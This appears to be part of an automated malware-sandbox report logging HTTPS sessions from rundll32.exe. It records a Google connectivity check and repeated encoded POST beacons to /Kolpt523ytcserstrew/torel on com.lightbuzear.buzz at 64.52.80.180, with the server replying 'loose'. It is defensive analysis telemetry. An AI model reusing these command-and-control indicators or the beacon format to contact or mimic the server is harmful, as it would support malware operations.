Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.22	49257	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.22	49258	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.22	49259	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.22	49260	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.22	49261	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.22	49181	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.22	49262	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.22	49263	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.22	49264	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.22	49265	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.22	49266	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.22	49267	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.22	49268	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.22	49269	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.22	49270	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.22	49271	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49172	142.250.185.228	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:27 UTC	0	OUT	POST / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: www.Google.com Content-Length: 0 Cache-Control: no-cache
2022-08-14 06:39:27 UTC	0	IN	HTTP/1.1 405 Method Not Allowed Allow: GET, HEAD Date: Sun, 14 Aug 2022 06:39:27 GMT Content-Type: text/html; charset=UTF-8 Server: gws Content-Length: 1589 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-08-14 06:39:27 UTC	0	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 35 20 28 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 405 (Method Not Allowed)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px aria
2022-08-14 06:39:27 UTC	1	IN	Data Raw: 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b Data Ascii: ges/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{back

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49173	142.250.185.228	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:27 UTC	2	OUT	POST / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: www.Google.com Content-Length: 0 Cache-Control: no-cache
2022-08-14 06:39:27 UTC	2	IN	HTTP/1.1 405 Method Not Allowed Allow: GET, HEAD Date: Sun, 14 Aug 2022 06:39:27 GMT Content-Type: text/html; charset=UTF-8 Server: gws Content-Length: 1589 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-08-14 06:39:27 UTC	2	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 35 20 28 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 405 (Method Not Allowed)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px aria
2022-08-14 06:39:27 UTC	3	IN	Data Raw: 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b Data Ascii: ges/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{back

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.22	49182	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:36 UTC	18	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:36 UTC	18	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:39:37 UTC	19	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:36 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:37 UTC	19	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.22	49272	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:41:15 UTC	166	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:41:15 UTC	166	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:41:16 UTC	167	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:41:16 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:16 UTC	168	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.22	49273	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:41:16 UTC	168	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:41:16 UTC	168	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:41:17 UTC	169	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:41:17 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:17 UTC	169	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.22	49274	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:41:17 UTC	169	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:41:17 UTC	170	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:41:18 UTC	171	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:41:18 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:18 UTC	171	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.22	49275	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:41:19 UTC	171	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:41:19 UTC	171	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:41:19 UTC	172	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:41:19 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:19 UTC	172	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.22	49276	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:41:20 UTC	172	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:41:20 UTC	173	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:41:20 UTC	174	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:41:20 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:20 UTC	174	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.22	49277	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:41:21 UTC	174	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:41:21 UTC	174	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
